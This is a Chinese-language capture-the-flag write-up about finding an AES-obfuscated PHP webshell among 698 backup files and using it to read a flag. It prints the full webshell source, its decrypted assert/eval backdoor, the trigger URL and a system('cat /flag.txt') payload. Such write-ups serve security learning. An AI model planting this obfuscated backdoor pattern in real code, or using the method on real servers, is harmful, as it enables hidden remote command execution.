这个题怎么说呢,很难评,涉及的知识点不多,就是需要有足够足够的耐心!
打开题目,一看就是有网站备份。
dirsearch扫描一下,发现有各种后缀的备份包,但是基本上包的内容都是一样的,可能是担心大家使用的扫描工具不同,怕扫描不到。
解压后,你会发现。
没错,698个文件,第一反应就是D盾来扫一下。这里懒得截图了,直接说,就是啥都扫描不出来。
然后放到Notepad++里面批量查询了 $_GET $_POST $_FILE $_REQUEST 等,均没有可利用的点。
然后因为是模拟赛,当时是没耐心一个一个看的,后来群里小伙伴说发现端倪了。
describedssTest.php
这个文件里面有AES加密函数。
<?php
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
$p8='3b7430adaed18facca7b799229138b7b';
$a8='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
$d8='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';
$v8='0329647546905494';
function e($D,$K){
$cipher='aes-128-cbc';
$encrypted=openssl_encrypt($D,$cipher,$K,0,$GLOBALS['v8']);
$result=base64_encode($GLOBALS['v8'].$encrypted);
$result=base64_encode($result);
return $result;
}
function d($D, $K){
$cipher='aes-128-cbc';
$decodedData=base64_decode(base64_decode($D));
$encryptedData=substr($decodedData, openssl_cipher_iv_length($cipher));
$decrypted=openssl_decrypt($encryptedData,$cipher,$K,0,$GLOBALS['v8']);
return $decrypted;
}
$a8=trim(d($a8,$p8));
ob_start();
$a8(trim(d($d8,$p8)));
$O=ob_get_contents();
ob_end_clean();
echo e($O,$p8);
这里面的 $a8=trim(d($a8,$p8)); 以及trim(d($d8,$p8)) 非常可疑,我们把它输出出来。
assert@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}")
那么问题来了, $p8 的md5前的值是啥?
几个平台都试了,就是需要付费,后来群里有小伙伴据说是花了十块钱,于是得到
04c50eb4bc04c76311d03550ee2c1b71
据说是 20241026 两次md5得到的$p8 ,懒得验证。得到了就行。
那么第一段payload就出来了
describedssTest.php?id=04c50eb4bc04c76311d03550ee2c1b71
接下来就很简单了,构造语句
$r = "system('cat /flag.txt');"; // 这里说一下,ls / 后发现的
echo trim(e($r,$p8));
然后POST传参,再把返回的值进行一次 d 函数的解密就行了。
这题!很难评!!!
评论 (0)